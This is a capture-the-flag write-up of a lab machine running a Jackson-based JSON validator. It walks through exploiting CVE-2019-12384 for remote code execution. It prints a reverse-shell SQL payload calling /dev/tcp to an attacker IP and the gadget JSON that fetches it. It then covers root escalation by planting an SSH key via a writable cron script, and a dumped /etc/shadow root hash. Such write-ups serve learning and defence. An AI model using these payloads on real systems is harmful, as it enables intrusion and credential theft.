Recon
- Port scan:
$ nmap -p- 10.10.10.214 > ports.nmap
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
- Targeted scan:
$ nmap -p 22,80,6666 -sC -sV 10.10.10.220 > scan.nmap
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA) | 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA) |_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Online JSON parser
OpenSSH 8.2p1 Ubuntu 4ubuntu0.1, Apache httpd 2.4.41.
Enumeration
- Website is a JSON beautifier and validator application, seems like validator is still in beta.
- Testing invalid input:
test
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'test': was expecting 'null', 'true', 'false' or NaN
- From the error message, we find out about the package name:
com.fasterxml.jackson
- The site is using Jackson to deserialise user input, but we find out that it is vulnerable to a server-side request forgery (SSRF) attack, CVE-2019-12384, which can lead to remote code execution.
- Continuing to probe the application further, let's try some valid input:
{“name”:”test”,”age”:123}
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
- Looks like the validator is expecting a JSON array
[]
, instead of a JSON object{}
, retrying:["lmao","ayaya"]
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Could not resolve type id 'lmao' as a subtype of [simple type, class java.lang.Object]: no such class found
Exploitation
- Reading up more about CVE-2019-12384, we find out that CVE-2019-12384 affects a certain class:
ch.qos.logback.core.db.DriverManagerConnectionSource
- By leveraging this class in jackson-databind, we can remotely execute code on the server as it deserialises the user request.
- Let's create our reverse shell payload
inject.sql
:CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('setsid bash -i &>/dev/tcp/10.10.14.53/6969 0>&1 &')
- Host the payload on a HTTP server with
python -m http.server
orupdog
. - Listen for a reverse shell with netcat:
$ nc -lvnp 6969
- Make the server execute the remote code by validating the following JSON:
["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.53:9090/inject.sql'"}]
- We get a shell as pericles:
$ whoami
pericles
- Get user flag!
Privilege Escalation
- Running LinPEAS, and finding file of interest:
$ linpeas.sh
/usr/bin/timer_backup.sh
- Looking deeper:
$ stat /usr/bin/timer_backup.sh
- It seems that this script is regularly accessed by root, and is owned and editable by pericles.
- This means we can leverage this script to execute any code with root privileges.
- As it is likely required by a cron job, which executes the script's contents on a regular schedule, we cannot rely on it to give us a shell.
- Instead, let's have it add our SSH public key to the root user's list of
authorized_keys
. - From the target host, download our
id_rsa.pub
key with curl:$ curl -O 10.10.14.53:9090/id_rsa.pub
- Append the following line to the timed script, such that next time the script activates, we will be added to the list of authorised users to SSH into root:
$ echo "echo {id_rsa.pub} >> /root/.ssh/authorized_keys" >> /usr/bin/timer_backup.sh
- Wait for a bit, then SSH into root using our SSH key:
$ ssh -i ~/.ssh/id_rsa [email protected]
- We're now on the machine as root.
- Get root flag!
Persistence
- Get the root hash from shadow file:
$ cat /etc/shadow
root:$6$tQUjJ4lm/s2nyGlV$ApmVk8.fwtUjA7XlmZn3dn7hATdrg1if1nKnRBu9qrbF6rB5dfiwpkz7gQhdr5YIeqqKjBGif06acgM3stn991:18542:0:99999:7:::
Resources
- https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
- https://github.com/jas502n/CVE-2019-12384
- https://stackoverflow.com/questions/49822202/com-fasterxml-jackson-databind-exc-mismatchedinputexception-unexpected-token-s